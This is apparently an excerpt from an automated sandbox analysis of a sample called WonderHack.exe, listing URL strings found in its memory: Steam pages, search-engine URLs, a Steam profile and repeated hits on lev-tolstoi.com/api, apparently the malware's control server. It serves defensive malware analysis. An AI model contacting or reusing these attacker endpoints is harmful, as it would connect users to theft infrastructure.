Source: WonderHack.exe, 00000002.00000003.2430953439.000000000332B000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431176780.0000000003329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431020872.0000000003329000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: WonderHack.exe, 00000002.00000003.2430953439.000000000332B000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431176780.0000000003329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431020872.0000000003329000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: WonderHack.exe, 00000002.00000003.2430953439.000000000332B000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431176780.0000000003329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431020872.0000000003329000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.stP
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: WonderHack.exe, 00000002.00000002.2585120871.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/HU
Source: WonderHack.exe, 00000002.00000003.2527263074.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2532232865.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2573454494.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/HU~
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin6
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e
Source: WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&amp
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.comE
Source: WonderHack.exe, 00000002.00000003.2479583191.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: WonderHack.exe, 00000002.00000003.2430953439.000000000332B000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431176780.0000000003329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431020872.0000000003329000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: WonderHack.exe, 00000002.00000003.2430953439.000000000332B000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431176780.0000000003329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431020872.0000000003329000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: WonderHack.exe, 00000002.00000003.2430953439.000000000332B000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431176780.0000000003329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431020872.0000000003329000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: WonderHack.exe, 00000002.00000003.2479583191.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000002.2585120871.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2573454494.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: WonderHack.exe, 00000002.00000003.2477331770.00000000032EA000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2477650404.00000000032F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/(
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/((
Source: WonderHack.exe, 00000002.00000003.2430190206.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/.
Source: WonderHack.exe, 00000002.00000002.2585120871.0000000000F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/I
Source: WonderHack.exe, 00000002.00000002.2585120871.0000000000EAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000EED000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api6M
Source: WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apig
Source: WonderHack.exe, 00000002.00000003.2573579275.0000000000F57000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000002.2585120871.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2545441913.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2573454494.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apit
Source: WonderHack.exe, 00000002.00000002.2585120871.0000000000F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/i
Source: WonderHack.exe, 00000002.00000003.2573579275.0000000000F57000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2532389602.0000000000F57000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2527201915.0000000000F69000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2532196517.0000000000F51000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2545441913.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2573454494.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: WonderHack.exe, 00000002.00000003.2477331770.00000000032EA000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2477650404.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453432872.00000000032ED000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453505070.00000000032ED000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453622723.00000000032EE000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453716881.00000000032EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/sH
Source: WonderHack.exe, 00000002.00000003.2532389602.0000000000F57000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2527201915.0000000000F69000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2532196517.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/sY
Source: WonderHack.exe, 00000002.00000003.2527263074.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.s
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.n
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: WonderHack.exe, 00000002.00000003.2430204975.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: WonderHack.exe, 00000002.00000003.2430204975.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900%kt
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
